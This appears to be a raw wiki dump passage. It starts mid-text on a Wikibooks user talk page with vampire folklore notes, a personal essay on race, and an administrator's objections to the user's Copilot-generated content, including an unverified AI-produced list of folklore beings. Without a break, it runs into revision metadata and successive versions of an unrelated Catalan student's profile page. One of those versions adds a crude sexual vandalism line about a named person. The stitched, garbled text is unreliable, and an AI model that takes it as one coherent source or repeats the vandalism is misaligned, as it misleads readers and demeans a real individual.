humanity. We learn of the methods (sometimes bloody) people used to solve problems, and we may wonder how our society would fairly solve our problems while staying humane. We may also wonder about other folk stories from around the world, such as the zombie-person, the demon-person, or the hungry ghost-person. How does a human get turned into a hungry ghost-person? <br> <br> [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:33, 25 August 2022 (UTC) <br> Sources: <br> [[https://healthpsychologyconsultancy.wordpress.com/2012/07/13/the-energy-vampire-personality-type/|https://healthpsychologyconsultancy.wordpress.com/2012/07/13/the-energy-vampire-personality-type/]] wordpress.com Reviewed: 8/19/2022 <br> [[https://theconversation.com/five-vampire-traits-that-exist-in-the-natural-world-104957|https://theconversation.com/five-vampire-traits-that-exist-in-the-natural-world-104957]] theconversation.com <br> [[https://www.dictionary.com/browse/cuspid|https://www.dictionary.com/browse/cuspid]] www.dictionary.com <br> Thanks [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:03, 19 August 2022 (UTC) == DROPPING MY RACIAL BAGGAGE == <br> MY PERSONAL INFORMATION SEEMS TO BELONG ON MY DISCUSSION PAGE.<br> Dropping My Racial Baggage <br> On my body I have two birthmarks. One is a darker brown than my normally brown body, the other is a yellowish-brown birthmark, lighter than most of my brown body. I always knew my family was blended, we merged and emerged from attractive dark brown and yellowish-brown relatives who could pass as white because of their facial features. Today, I’m sure they could blend with tan Americans, meaning Americans who are a lighter brown in skin complexion and appearance. I always thought my family was most like the family from The Cosby Show, a popular family TV Show. On The Cosby Show, Bill Cosby’s TV father was not embarrassed by the members of his family who came in a range of shades, from dark brown to almost-white. The fact was that families with extended family members felt comfortable, and popular, claiming all the members of their family! This was ideal. Some people wanted to celebrate. The 1980s were diverse and positive times for family Entertainment. As opposed to foreign cultural notions of people checking one of two boxes: black or white, and away from similar subversive cultural norms … black and tan? The composition by Duke Ellington comes to mind… I consider most Americans in a range between dark brown and tan. When people ask me my race, I always say “brown,” because I am a brown woman, or to be technically correct, I am a multi-colored, 4th dimensional woman. Most people do not want to be super-technical (by acknowledging the 4th dimension of space-time), yet people seem to want to live reasonable lives. For example, why can’t the box of 8 colors describe the colors we see when we look at other people? Perhaps crayons’ manufacturers, CRAYOLA, did need to make several flesh colored crayons and market colors that people appear to be, ranging from dark brown to light brown. After watching America’s Top Model, at least 13 seasons, I realized that most people can see beyond the simple “black” or “white” description, yet there are people who will describe a brown, or a tan person as either “black” or “white.” Humans calling people “black” or “white” use to mildly bother me, I remember when I roomed with a Jewish person, (a student who ate pepperoni pizza with few problems), a young woman who re-named me “black” every time I spoke with her, I remember feeling puzzled, then resentful. My third-grade Teacher never labeled me black, the other African-Americans in my High School never left me with the “black” label, nor did a few Native Americans who were called “Asian-Americans,” (…about Native-Americans, I mean we know where America is, but where is Asia?) therefore I was really puzzled. During my “identity growth” years, when I considered the words other people used to label “me,” I was grouped with other teenagers, later, mis-leading college students and other young adults whose mis-labeling of others was either a shameful oversight or ironic (the irony based on previous unexamined cultural biases Americans had failed to question). What is ironic about public expressions of race is the fact that our notions about race are influenced by our culture. For example, in High School, I remember my excitement about the field of Science, a high point after I had read a TIME magazine article that reported Scientist who could trace DNA via. The mitochondrial organelles. What I remember from my Cell Biology books are that the mitochondria are the “power house” of the cell. The article suggested that we could trace our ancestors DNA not just from DNA found in the nucleus, but also through analyzing unique DNA found in the mitochondria. This information made news, in fact, the cover of that TIME magazine was a arty image with a updated image of Adam and Eve. I assume the updated image was to announce the new Science developing to help find our ancestors and discovering our relatives. I remember that I stood in front of my Science class with a issue of TIME magazine in my hand, and I asked the class if they knew “black” people were in the garden of Eden. The arty image on the cover of TIME actually showed people who looked like African-Americans, people with brownish-tan skin, and mid-length curly hair. People in America who looked like the image on the TIME magazine cover were / are called “black” in America. As I gain a greater appreciation for the Arts, especially after I took a few Art appreciation classes, I realize that forcing a racial classification was rude, by asking if the class knew that black people were in the garden of Eden, I exposed my mis-education. It is the ironic mis-education I remember I attached to the arty TIME magazine cover. In my early weeks on my college campus, I would brag about my chosen field: Genetics. Because there was no major in Genetics, I had to settle for a Biology or a Chemistry major. I could take extra classes that focused on Genetics. Other Science students were also interested in Genetics and seemed the types who would follow me into Genetic fields where we would, hopefully, find jobs in Genetics, where we would one day help to cure genetic disorders. That was my teenage dream for my future career. Turns out, reality is less ideal. Although I did find meaningful work later, in a laboratory that studied animal genetics, I basically learned how to use modern Science equipment [a giant lesson needed if Science is to improve our understandings…]. Science equipment is complex, and often, a lack of a good understanding of Science and Technology left Science students with puzzling results… I also worked at a Hospital, and I proudly held a healthy and alert white baby boy whose parents were probably immigrants from China. Technically, I have held white children, and I technically believe that they are a minority, and like other children, small white children should always be protected by adults and by our government. Finally, I use to converse with other students about my hair, or about my complexion [my hair and skin does lighten and darken with sunlight exposure]. Few students believed I needed to allow my hair to be natural, to see the two different hair types (one tight and curly, like a spiral, the other less tight, more wavey), or that my time spent without make-up (concealer) was necessary, yet my time spent without make-up allowed my brown complexion to emerge (in its range of brownness). By studying my genotypic expression, my biological inheritance, my outer surface appeared. I studied myself as I truly would appear without cosmetics, concealers, and hair-straighteners. I did not burn my bra (I did have limits), yet freeing oneself of “surface enhancers” allowed me to feel confident in who I truly was: a healthier, brown woman with black curly hair. I suppose I found myself? Nonsense, how could I ever lose me? I allowed my natural surface appearance to emerge, at least for a brief time in my life. Were college students who were once interested in Genetics as a career path impressed? Probably not. For unknown reasons, the ‘natural’ black chick, or the brown wannabe white-Hippy stereotype seemed to follow me. After exposure to radiation [a safe level] while working in a research laboratory, I did follow a popular “back-to-nature” path where I preferred natural products to “overprocessed” or processes products. My non-racist friends, many blond with sun-kissed brown skin, were typical “white Hippies,” yet I didn’t have to be a wannabe white-Hippy to be a non-racist woman who supported nature, was a Environmentalist, and a supporter of better opportunities for all Americans, regardless of their color, religion or gender! When I went online to share my learnings, gleaned from my factual college experiences, I was treated like a poor black child who couldn’t understand racist online… What? I could look up the definition for racism. [Racism (n): prejudice, discrimination, or antagonism directed against a person or people on the basis of their membership in a particular racial or ethic group, typically one that is a minority or marginalized]. As I understand the concept, racism is a flawed ideology that simplifies reality, forcing complex humans into limited conceptual categories. I was always against individual racist, preferring my own understanding of the situation from Dr. Martin Luther King’s point-of view, as I remember his message, we should judge a man based on his character [his deeds] and not on the color of his skin. To better fight against racism, I got help from Christians. In general, Christians believe that God has a plan for all of humanity. Many Christians believe that all people are the children of God. In the presence of active Christians on campus, I met actual black people, people with dark brown skin that could be mistook for the color black in bright sunlight. Near “black” people, I felt the color brown, there was no other way to describe my skin’s appearance. I was a brown human, which is what I had been saying since the 3rd grade in my public school! Contact with diversity confirmed my truth. Now that I am a Christian, I do not mentally pick-up racist ideology as being somehow above Christian beliefs and values. I do try to sense a person’s character. Realistically, most people in America struggle to raise their children because it is hard to raise good Christians and good citizens. I am done with dragging around “racial baggage,” I see people and choose religious values to pick-up, humanity to champion. == Dracula behind Vlad - The Impaler == Greetings! <br> I am glad people like Pi zero reminded me against original research, because I do not want to walk a mile in a undead man's shoes. I found most sources online and in public libraries [I do not have a insider perspective, nor do I want to become a special "inspiration" for a vampire-person in another special reader's world].<br> I want to create a new section: Dracula behind Vlad - The Impaler. <br> <br> '''Dracula behind Vlad - The Impaler''' <br> <br> Sometimes Writers will mock their times, or the leaders in their society through parody, or through satire. In some countries Writers have the freedom to mock real men in Politics, or of great military influence who seem, in deed, like real monsters. <br> In History, there are a few real monsters, men who we will remember for their cruelty, or for their massive injustices. This does not appear to be the case with Dracula, a novel character considered "inspired by" Vlad The Impaler. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 16:26, 23 August 2022 (UTC) Because of Bram Stoker, a popular Irish Writer, Vlad came to be known as the ''original'' Dracula. It is ironic that the fictional character, Dracula, is well known yet the historic man, Vlad, a Prince from a Romanian royal family, is less known. According to one writer / Historian, "...as he wrote Dracula, he borrowed certain aspects of Vlad's life and wove them in with local folklore from the region." <br> Vlad, a special Prince of Romania, is a difficult subject to research. His Political influence is greatest in Romania, as is his mythic achievements. Vlad seemed to have influenced local folklore before Bram Stoker wrote his novel, '''Dracula''' in 1897. <br> Estimates puts the number of people Vlad is rumored to have killed at around 80,000 people. That seems questionable, it seems unlikely for 1 man to have murdered [directly] a large chunk of the Romanian population. Although it was never rumored by the people who tell, and re-tell folk stories, that Vlad drank blood, he is known as the person behind many bloody impalements and beheadings. <br> According to Wikipedia, "Offences where impalement was occasionally employed included contempt for the state's responsibility for safe roads and trade routes by committing highway robbery or grave robbery, violating state policies or monopolies, or subverting standards for trade. Offenders have also been impaled for a variety of cultural, sexual, and religious reasons." <br> <br> Vlad's father was a ruler of Wallachia, a territory between the Ottoman Empire and Europe, a country whose modern name is now known as Romania (southern). {| class="wikitable" |+ |- ! 5 Facts About Vlad - The Romanian Prince |- | Father: Vlad Dracul |- | Mother: Cneajna |- | Born: 1428 - 1431 |- | Year of Reigns: 1448, 1456 - 1462, 1476 |- | Died: December 1476 - January 1477 |} Source: <br> <u>The World's Most Glorious And Notorious Rulers: The Great And The Terrible And How They Got Their Names"</u> by JoAnne O'Sullivan. Copyright 2020 by JoAnne O'Sullivan. Published by Running Press Kids, an imprint of Perseus Books, LLC. ISBN: 978-0-7624-9661-7 <br> <br> Wikipedia.com [https://en.wikipedia.org/wiki/Vlad_the_Impaler]<br> THANKS [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:19, 23 August 2022 (UTC) == Can a kind person help me update (concerning AI)? == Hello. I have not been online to edit Create Vampire in about a year. I noticed new information concerning AI, but I did not have enough time to read and reflect. I am not sure about what Wikibooks will allow concerning AI. I have my original introduction, which I fear may not be neutral enough. I would like to compare my original introduction with the AI rewrite of Vampires of the Imagination. Introduction: Vampires of the Imagination: Although vampires are creatures of folklore, monsters from the afterlife that are sometimes called the "un-dead," vampires are uniquely different from ghost, those lingering spirits who refuse to die. Although vampires, by definition, are animated corpses, vampires of the imagination must feed on human blood in order to continue their earthly existence. This unique quality makes vampires a popular and original type of fiction, slightly different from other creatures found in folklore. Rewrite with AI: Vampires of the Imagination: In many cultural traditions, vampires are described as beings associated with death or the afterlife. They are often distinguished from ghosts, which are typically understood as disembodied spirits rather than reanimated bodies. Folklore commonly portrays vampires as animated corpses that sustain themselves by consuming the blood or life‑essence of the living. This characteristic has contributed to their development as a distinct category of supernatural figure within literature and popular culture. The idea of a blood‑dependent, corporeal being sets vampires apart from other figures in global folklore, many of which do not require physical sustenance or do not possess a physical form at all. In modern fiction, these traditional concepts have evolved into what may be called “vampires of the imagination”—creative interpretations that draw inspiration from historical beliefs while adapting traits to suit narrative, thematic, or symbolic purposes. These fictional versions vary widely, but they typically retain the core elements associated with vampires in earlier traditions: a connection to death, a physical body, and a form of predatory dependence on the living. Which seems best for Wikibooks? ~~ [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 11:07, 12 May 2026 (UTC) == New Topics, we can develop == I hope to write a new section. I used Copilot AI to generate new ideas for Create Vampires. Here is an idea I would like to expand: Historical and Cross-Cultural Origins of Vampire Archetypes -Overview of vampire-like beings from other global folklore. - How these traditions shape modern vampire tales. - Build a table comparing characteristics across cultures. I got a list of vampire-like "beings" from AI. I created a new page. Historical And Cross-Cultural Origins of Vampire Archetypes: Asanbosam (Ashanti, Ghana) — A forest‑dwelling creature with iron teeth and hook‑like feet; attacks from trees. Obayifo (West Africa) — A witch‑like being believed to drain life‑energy from children. Adze (Ewe, Togo/Ghana) — A vampiric spirit that can take the form of a firefly and feed on blood or life‑force. European vampire-like beings: Strigoi (Romania) — Restless dead who return to drain vitality or blood from the living. Upir (Slavic regions) — Early Slavic vampire figure; often associated with disease and nocturnal attacks. Nachzehrer (Germany) — A corpse believed to consume its own burial shroud and psychically drain the living. Vrykolakas (Greece) — A reanimated body associated with plague, misfortune, and nocturnal predation. Mullo (Romani) — A dead person who returns to harm or drain the living. Asian vampire-like beings: Jiangshi (China) — A “hopping” reanimated corpse that drains qi (life‑energy). Penanggalan (Malaysia) — A woman whose head detaches with trailing organs; feeds on blood. Manananggal (Philippines) — A being that separates its upper body and preys on humans at night. Rakshasa (India) — A shape‑shifting demon that sometimes consumes flesh or life‑force. Pontianak / Kuntilanak (Indonesia/Malaysia) — A vampiric spirit of a woman who died in childbirth Middle Eastern vampire-like beings: Ghul (Arabian folklore) — A desert‑dwelling creature that consumes flesh and sometimes blood. Alp (Turkic regions) — A nocturnal spirit that causes nightmares and may drain vitality. Estrie (Jewish folklore) — A female vampiric demon that feeds on blood. The American vampire-like beings: Chupacabra (Latin America) — A modern cryptid said to drain blood from livestock. Tlahuelpuchi (Mexico, Tlaxcala) — A shape‑shifting being, often female, believed to feed on blood. Soucouyant (Caribbean) — A woman who sheds her skin and becomes a fireball to feed on blood. Wendigo (Algonquian peoples) — Not a vampire, but a cannibalistic spirit associated with hunger and consumption. Oceanian vampire-like beings: Yara-ma-yha-who (Australia, Aboriginal folklore) — A small red creature that drains blood through suckers on its hands and feet. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 12:45, 12 May 2026 (UTC) == Copilot AI Use == On May 12, 2026 <br> I asked Microsoft Copilot (AI) several questions. <br> Q: Hello Copilot. I have a question. What are a few ideas to use on a wikibooks page about vampires? The page is nonfictional. The page is entitled: Create Vampires. <br> Q: Is this tone neutral? "Vampires of the Imagination" [section] <br> Rewrite the entire "Vampires of the Imagination" section in perfect wikibooks tone.<br> Q: Can you give a list of vampire-like beings in global folklore? <br> Q: How do I cite my source? <br> Build a bibliography for me. <br> Q: How would I introduce the concept: Archetype, and the overview of vampire-like beings in global folklore? <br> Q: Do you know how these traits shaped modern vampire traits? <br> Create a table showing which cultures contributed which traits. <br> Q: Can you please analyze The Vampire by Kipling? <br> Q: Can you help me with literary and media analysis, tropes and how they evolved? <br> Q: Can you give me examples of literary pitfalls? <br> Analyze examples from literature or media that fall into or avoid these pitfalls. <br> Q: Where [were] there any Authors who originated vampire tropes? <br> Q: How do I reference vampire literary pitfalls and how to avoid them? <br> Q: Can you cite your sources for the vampire literary pitfalls and how to avoid them section? <br> <br> End of questions concerning Create Vampires. <br> I ask, did I document each instance of using AI correctly? [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 08:03, 15 May 2026 (UTC) :@[[User:3MMPEYTON|3MMPEYTON]] to clarify, have you been using generative AI for all your contributions at Wikibooks? —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 16:50, 15 May 2026 (UTC) ::No. I have created many pages before May 12th, 2026, without assistance from AI. ::I have listed the prompts I used when interacting with Copilot, in order to brainstorm for new ideas. ::Copilot extended my original ideas for the books pages. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:29, 15 May 2026 (UTC) :::@[[User:3MMPEYTON|3MMPEYTON]] Got it. Please note that [[Wikibooks:Artificial intelligence|Wikibooks policy]] expressly prohibits the use of generative AI to {{tq|"generate or summarize material and ideas at Wikibooks"}}, so this content you added after May 12 may need to be deleted. Let me know if you have any questions about this! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 02:07, 20 May 2026 (UTC) == Now What? Thanks for reading, and commenting! == How do I un-learn the factual information Copilot (AI) gave me? Most of the information he listed, I found on Wikipedia, I then edited and summarized the information. Copilot provided a list that was specific, allowing me to easily access information on Wikipedia. How can I continue to use Wikipedia as a source, after having used Copilot? I also rewrote most of the information Copilot introduced. I treated Copilot like a resource, similar to Wikipedia, I was careful to re-write each line. I also used Copilot to give me a list of Authors who influenced the vampire genre. This list had names of writers I had not read yet. How do I move around this list of famous Authors? They are a kind of "core" group of Authors. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 18:57, 22 May 2026 (UTC) == What About Search Engines? == Can I use Google's search engine to answer a few questions I had already asked Microsoft Copilot? I know that Google's search engine sometimes uses its AI to answer questions. Is this permitted? [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 19:52, 22 May 2026 (UTC) == A General Question == This is a question concerning Wikibooks and Artificial Intelligence, or AI.<br> Can Wikibooks create a section for AI-Wikibooks? I'm certain AI can provide extensive information to people, for FREE, in a tone that reflects Wikibook's stylistic standards. The only problems I see, is fact-checking the information AI provides. Any thoughts? As of today, AI material is copyright free, because AI is not a person. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:17, 23 May 2026 (UTC) == Proposal to Allow Limited, Transparent Use of Generative AI as an Assistant Tool == Dear Wikibookians, <br> <br> I am writing because our community has an opportunity to update or change our current guidelines regarding generative AI. <br> <br> I propose we integrate generative AI. It is my hope that we can work with AI in a manner that supports human authorship. <br> <br> By allowing limited use of generative AI, we may be able to cull through facts quickly, fact check with greater accuracy, locate emerging information, and verify dates. We may also use generative AI to help us organize information. <br> <br> Using generative AI as an assistant tool will not replace human creativity. <br> Writers and Editors can post our community guidelines into the computer’s prompter, thereby clearly define what Wikibooks will and will not allow. <br> By allowing generative AI, we can improve our books and publish with greater speed. <br> <br> By adopting a limited, clearly defined framework, we can: <br> • Preserve the human voice and originality of every contributor <br> • Improve factual accuracy and reduce unintentional errors <br> • Support contributors who may not have access to extensive research libraries <br> • Keep Wikibooks competitive, relevant, and forward looking <br> <br> Thank you for considering this proposal. <br> Sincerely, Minda Peyton [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 03:53, 27 August 2026 (UTC) == Hello Wikibookians! == My name is Minda Peyton. I have been a writer for Wikibooks for several years. <br> I have worked on Create Vampires, a book about vampires! I invite you to read and contribute. <br> Thank you. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 13:22, 29 August 2026 (UTC) == Wikibooks is not a personal web hosting space or blog == Hi @[[User:3MMPEYTON|3MMPEYTON]]! I recently reverted a large edit you added to your talk page that documents a personal chat history with an LLM. This is because that content violates the Wikibooks scope—we are not a place to host personal materials unrelated to our scope. I am also concerned that these issues are present in a lot of the edits you have made at Wikibooks—for more information about what isn't allowed here, see [[WB:NOT]]. Please feel free to ask me directly if you have questions. Thank you! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 14:22, 17 September 2026 (UTC) ==[[:Art And AI]]== {{tmbox|type=delete|text='''3MMPEYTON, please [[Wikibooks:Requests for deletion#Art And AI|share your thoughts]] about whether to [[WB:WIW|keep]] or [[WB:DP|delete]] "[[:Art And AI|Art And AI]]".'''<br />You are being notified because you have contributed to this work. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 14:25, 17 September 2026 (UTC)}} i6wieu6209oyxaodwzqxe6334aocy1l 4 464822 4670686 4668915 2026-09-17T16:29:24Z ALoonsss 3626179 4670686 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programació * Sistemes operatius * Xarxes informàtiques * Ciberseguretat * Desenvolupament web == Formació == Actualment estic estudiant '''[nom del cicle o curs]'''. Durant els meus estudis he treballat amb diferents tecnologies i eines informàtiques, entre les quals es troben: * '''Linux''' * '''Windows''' * '''Python''' * '''Visual Studio Code''' * '''Xarxes informàtiques''' * '''Bases de dades''' == Habilitats == # Administració de sistemes # Configuració de xarxes # Programació bàsica # Desenvolupament web # Resolució de problemes informàtics == Objectius == El meu objectiu és continuar ampliant els meus coneixements en el sector de la informàtica i adquirir experiència en diferents àrees tecnològiques. També m'agradaria continuar aprenent sobre '''programació, ciberseguretat, xarxes i desenvolupament de programari'''. == Interessos == En el meu temps lliure m'interessa la tecnologia, aprendre coses noves relacionades amb la informàtica i descobrir noves eines i aplicacions. == Enllaços == * [[mw:Main_Page|MediaWiki]] * [https://www.wikiversity.org/ Wikiversity] mc6jwm2w0ciw483i9fhrimbzfiuvg4p 4670687 4670686 2026-09-17T16:30:45Z ALoonsss 3626179 4670687 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programació de pàgines web * Desenvolupament web * Bàsquet == Formació == Actualment estic estudiant '''[nom del cicle o curs]'''. Durant els meus estudis he treballat amb diferents tecnologies i eines informàtiques, entre les quals es troben: * '''Linux''' * '''Windows''' * '''Python''' * '''Visual Studio Code''' * '''Xarxes informàtiques''' * '''Bases de dades''' == Habilitats == # Administració de sistemes # Configuració de xarxes # Programació bàsica # Desenvolupament web # Resolució de problemes informàtics == Objectius == El meu objectiu és continuar ampliant els meus coneixements en el sector de la informàtica i adquirir experiència en diferents àrees tecnològiques. També m'agradaria continuar aprenent sobre '''programació, ciberseguretat, xarxes i desenvolupament de programari'''. == Interessos == En el meu temps lliure m'interessa la tecnologia, aprendre coses noves relacionades amb la informàtica i descobrir noves eines i aplicacions. == Enllaços == * [[mw:Main_Page|MediaWiki]] * [https://www.wikiversity.org/ Wikiversity] nwya9yc93hthyjv58g31oxohwqmahwa 4670688 4670687 2026-09-17T16:32:32Z ALoonsss 3626179 4670688 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programació de pàgines web * Desenvolupament web * Bàsquet == Formació == Actualment estic estudiant '''[nom del cicle o curs]'''. Durant els meus estudis he treballat amb diferents tecnologies i eines informàtiques, entre les quals es troben: * '''Linux''' * '''Windows''' * '''Python''' * '''Visual Studio Code''' * '''Xarxes informàtiques''' * '''Bases de dades''' == Habilitats == # Administració de sistemes # Configuració de xarxes # Programació bàsica # Desenvolupament web # Resolució de problemes informàtics == Objectius == Ser el prostituto del Joel i abrir el Onlyfans == Interessos == En el meu temps lliure m'interessa la tecnologia, aprendre coses noves relacionades amb la informàtica i descobrir noves eines i aplicacions. == Enllaços == * [[mw:Main_Page|MediaWiki]] * [https://www.wikiversity.org/ Wikiversity] h2svh25z00j6a1dri7oqhhvzbd6g6vw 4670689 4670688 2026-09-17T16:33:17Z ALoonsss 3626179 4670689 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programació de pàgines web * Desenvolupament web * Bàsquet == Formació == Actualment estic estudiant '''[nom del cicle o curs]'''. Durant els meus estudis he treballat amb diferents tecnologies i eines informàtiques, entre les quals es troben: * '''Linux''' * '''Windows''' * '''Python''' * '''Visual Studio Code''' * '''Xarxes informàtiques''' * '''Bases de dades''' == Habilitats == # Administració de sistemes # Configuració de xarxes # Programació bàsica # Desenvolupament web # Resolució de problemes informàtics == Objectius == == Interessos == En el meu temps lliure m'interessa la tecnologia, aprendre coses noves relacionades amb la informàtica i descobrir noves eines i aplicacions. == Enllaços == * [[mw:Main_Page|MediaWiki]] * [https://www.wikiversity.org/ Wikiversity] 7tq4fcfsh1xtlir2dcmxpfe4clvx1fp 4670690 4670689 2026-09-17T16:36:07Z ALoonsss 3626179 4670690 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programació de pàgines web * Desenvolupament web * Bàsquet == Formació == Actualment estic estudiant '''[CFGS de Desenvolupament d'Aplicacions Web (ICC0)]'''. Durant els meus estudis he treballat amb diferents eines: * '''Sistemes Operatius (Windows / Linux)''' * '''Python''' * '''Visual Studio Code (HTML / CSS / XML / JAVASCRIPT / JASON)''' * '''Bases de dades (mySQL)''' == Habilitats == # Administració de sistemes # Configuració de xarxes # Programació bàsica # Desenvolupament web # Resolució de problemes informàtics == Objectius == == Currículum Acadèmic == lhsquvntbvv1pvbgonswqg00xusdhah 4670692 4670690 2026-09-17T16:40:00Z ALoonsss 3626179 4670692 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programar pàgines web * Bàsquet == Formació == Actualment estic estudiant '''[CFGS de Desenvolupament d'Aplicacions Web (ICC0)]'''. Durant els meus estudis he treballat amb diferents eines: * '''Sistemes Operatius (Windows / Linux)''' * '''Python''' * '''Visual Studio Code (HTML / CSS / XML / JAVASCRIPT / JASON)''' * '''Bases de dades (mySQL)''' == Habilitats == # Administració de sistemes # Configuració de xarxes # Programació bàsica # Desenvolupament web # Resolució de problemes informàtics == Objectius == == Currículum Acadèmic == 5mi6k4rsfsqa687b6uwxx7k7a8cdlu5 4670695 4670692 2026-09-17T16:51:12Z ALoonsss 3626179 4670695 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programar pàgines web * Bàsquet == Formació == Actualment estic estudiant '''[CFGS de Desenvolupament d'Aplicacions Web (ICC0)]'''. Durant els meus estudis he treballat amb diferents eines: * '''Sistemes Operatius (Windows / Linux)''' * '''Python''' * '''Visual Studio Code (HTML / CSS / XML / JAVASCRIPT / JASON)''' * '''Bases de dades (mySQL)''' == Habilitats == # Windows / Sistemes Operatius # Linux # Manteniment Informàtic # Xarxes Locals # Serveis de xarxa # Seguretat Informàtica # Mikrotik # VirtualBox # Suport tècnic als clients # Ofimàtica # HTML + CSS # Python Bàsic == Objectius == == Currículum Acadèmic == === '''<u>ESTUDIS:</u>''' === * '''ESO''' (Educació Secundaria Obligatòria) * '''CFGM de SMX''' (Cicle Formatiu de Grau Mitjà de Sistemes Informàtics en Xarxa) * '''CFGS de DAW''' (Cicle Formatiu de Grau Superior de Desenvolupament d'Aplicacions Web) === '''<u>TITULACIONS:</u>''' === * '''ESO''' (Educació Secundaria Obligatòria) * '''CFGM de SMX''' (Cicle Formatiu de Grau Mitjà de Sistemes Informàtics en Xarxa) ls2dwx8086b8szcmjc1agfoyjppmgp7 4670696 4670695 2026-09-17T16:51:38Z ALoonsss 3626179 4670696 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic Izan Alonso Moreno.''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programar pàgines web * Bàsquet == Formació == Actualment estic estudiant '''[CFGS de Desenvolupament d'Aplicacions Web (ICC0)]'''. Durant els meus estudis he treballat amb diferents eines: * '''Sistemes Operatius (Windows / Linux)''' * '''Python''' * '''Visual Studio Code (HTML / CSS / XML / JAVASCRIPT / JASON)''' * '''Bases de dades (mySQL)''' == Habilitats == # Windows / Sistemes Operatius # Linux # Manteniment Informàtic # Xarxes Locals # Serveis de xarxa # Seguretat Informàtica # Mikrotik # VirtualBox # Suport tècnic als clients # Ofimàtica # HTML + CSS # Python Bàsic == Currículum Acadèmic == === '''<u>ESTUDIS:</u>''' === * '''ESO''' (Educació Secundaria Obligatòria) * '''CFGM de SMX''' (Cicle Formatiu de Grau Mitjà de Sistemes Informàtics en Xarxa) * '''CFGS de DAW''' (Cicle Formatiu de Grau Superior de Desenvolupament d'Aplicacions Web) === '''<u>TITULACIONS:</u>''' === * '''ESO''' (Educació Secundaria Obligatòria) * '''CFGM de SMX''' (Cicle Formatiu de Grau Mitjà de Sistemes Informàtics en Xarxa) rwfuls0m9ehkhsxb8vmhk6squuv42bd 4670697 4670696 2026-09-17T16:51:59Z ALoonsss 3626179 4670697 wikitext text/x-wiki == Presentació personal == '''Hola! Em dic [Izan Alonso Moreno].''' Soc un estudiant del Grau Superior de DAW i actualment estic cursant el 1r curs de Daw. == Sobre mi == M'interessen especialment els següents àmbits: * Informàtica * Programar pàgines web * Bàsquet == Formació == Actualment estic estudiant '''[CFGS de Desenvolupament d'Aplicacions Web (ICC0)]'''. Durant els meus estudis he treballat amb diferents eines: * '''Sistemes Operatius (Windows / Linux)''' * '''Python''' * '''Visual Studio Code (HTML / CSS / XML / JAVASCRIPT / JASON)''' * '''Bases de dades (mySQL)''' == Habilitats == # Windows / Sistemes Operatius # Linux # Manteniment Informàtic # Xarxes Locals # Serveis de xarxa # Seguretat Informàtica # Mikrotik # VirtualBox # Suport tècnic als clients # Ofimàtica # HTML + CSS # Python Bàsic == Currículum Acadèmic == === '''<u>ESTUDIS:</u>''' === * 